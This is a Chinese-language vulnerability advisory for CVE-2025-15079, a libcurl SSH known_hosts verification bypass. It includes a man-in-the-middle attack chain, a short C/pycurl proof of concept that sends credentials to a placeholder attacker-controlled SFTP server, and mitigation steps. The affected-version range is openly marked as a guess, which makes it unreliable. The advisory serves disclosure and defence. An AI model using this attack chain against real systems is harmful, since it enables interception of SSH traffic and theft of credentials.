IPBUF安全漏洞报告
English
CVE-2025-15079 CVSS 5.3 中危

CVE-2025-15079 libcurl SSH传输已知主机验证绕过漏洞

披露日期: 2026-01-08
来源: 2499f714-1537-4658-8207-48ae4bb9eae9

漏洞信息

漏洞编号
CVE-2025-15079
漏洞类型
安全绕过/身份验证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
libcurl

相关标签

CVE-2025-15079libcurlSSHSCPSFTPknown_hosts安全绕过中间人攻击身份验证绕过libssh

漏洞概述

CVE-2025-15079是libcurl中的一个安全漏洞,存在于SSH传输功能中。当用户使用libcurl进行基于SSH的传输操作(SCP或SFTP)时,如果设置了known_hosts文件来验证远程主机的身份,libcurl存在一个逻辑缺陷:它会错误地接受那些不在用户指定的known_hosts文件中、但存在于libssh全局known_hosts文件中的主机。这意味着即使攻击者伪装成未在用户配置中预定义的主机,如果该主机已被系统全局known_hosts文件识别,libcurl仍会建立连接,从而绕过了用户预期的安全验证机制。攻击者可以利用此漏洞进行中间人攻击(MITM),在SSH会话建立时窃取传输的敏感数据或凭据。该漏洞的CVSS评分为5.3,属于中等严重程度,主要影响使用libcurl进行安全敏感SSH传输的应用程序。

技术细节

libcurl在处理SSH连接时使用libssh库作为后端。当用户通过CURLOPT_SSH_KNOWNHOSTS选项指定自定义的known_hosts文件时,libcurl应该在建立连接前验证远程主机的公钥是否存在于该文件中。然而,由于libcurl与libssh之间的集成存在问题,libssh在验证主机时会同时检查两个来源:用户指定的known_hosts文件和系统的全局known_hosts文件(通常是/etc/ssh/ssh_known_hosts或~/.ssh/known_hosts)。

攻击者可以利用此漏洞进行以下攻击:首先,攻击者在目标网络中进行中间人攻击,拦截客户端与目标SSH服务器之间的连接。其次,由于libcurl会接受全局known_hosts中已存在的主机,攻击者可以将其伪造的服务器添加到全局known_hosts中,或者利用已存在于全局文件中的恶意主机条目。最后,当受害者使用libcurl连接到目标服务器时,libcurl会错误地信任攻击者的服务器,建立加密通道但数据传输经过攻击者控制的节点。

利用此漏洞的前提条件包括:受害者使用libcurl的SCP/SFTP功能;设置了自定义known_hosts文件;攻击者能够进行网络拦截或控制全局known_hosts文件内容;攻击目标主机存在于全局known_hosts中或攻击者能够添加条目。

攻击链分析

STEP 1
1
攻击者获得对目标系统全局known_hosts文件的写入权限,或控制一个已存在于全局文件中的SSH服务器
STEP 2
2
受害者应用程序使用libcurl通过SCP/SFTP进行SSH传输,并指定自定义known_hosts文件进行主机验证
STEP 3
3
受害者尝试连接到目标SSH服务器,libcurl检查主机身份时同时查询用户指定文件和全局known_hosts文件
STEP 4
4
由于目标主机存在于全局known_hosts中,libcurl错误地接受连接并建立SSH会话
STEP 5
5
如果攻击者进行了中间人攻击,所有传输的敏感数据(文件内容、凭据等)将被窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-15079 PoC - libcurl SSH known_hosts bypass // This PoC demonstrates how libcurl accepts hosts not in user-specified known_hosts // if they are present in the libssh global known_hosts file #include <stdio.h> #include <curl/curl.h> int main(void) { CURL *curl; CURLcode res; // Initialize libcurl curl = curl_easy_init(); if(curl) { // Set user-specified known_hosts file (should only trust these hosts) curl_easy_setopt(curl, CURLOPT_SSH_KNOWNHOSTS, "/path/to/user_known_hosts"); // Target malicious/untrusted SSH server curl_easy_setopt(curl, CURLOPT_URL, "sftp://attacker-controlled-server/file.txt"); // Credentials curl_easy_setopt(curl, CURLOPT_USERPWD, "user:password"); // This connection will succeed even if attacker-server is NOT in user_known_hosts // because libcurl/libssh checks the GLOBAL known_hosts file res = curl_easy_perform(curl); if(res != CURLE_OK) { printf("Connection failed: %s\n", curl_easy_strerror(res)); } else { printf("VULNERABLE: Connection accepted despite host not in user_known_hosts!\n"); } curl_easy_cleanup(curl); } return 0; } // Python equivalent using pycurl """ import pycurl c = pycurl.Curl() c.setopt(pycurl.URL, "sftp://target-server/sensitive-file") c.setopt(pycurl.SSH_KNOWNHOSTS, "/path/to/user_known_hosts") c.setopt(pycurl.USERPWD, "username:password") # This will bypass user-specified known_hosts if host exists in global known_hosts c.perform() """

影响范围

libcurl < 8.12.0 (推测)
libcurl 7.x - 8.x 系列多个版本可能受影响

防御指南

临时缓解措施
在等待官方补丁期间,可以采取以下缓解措施:1) 临时禁用使用libcurl的SSH传输功能,或仅在受信任的网络环境中使用;2) 确保全局known_hosts文件不包含不可信的主机条目;3) 使用网络隔离技术,限制对SSH服务器的访问路径;4) 实施额外的应用层身份验证和授权机制;5) 考虑使用其他不依赖libcurl的SSH客户端库作为临时替代方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表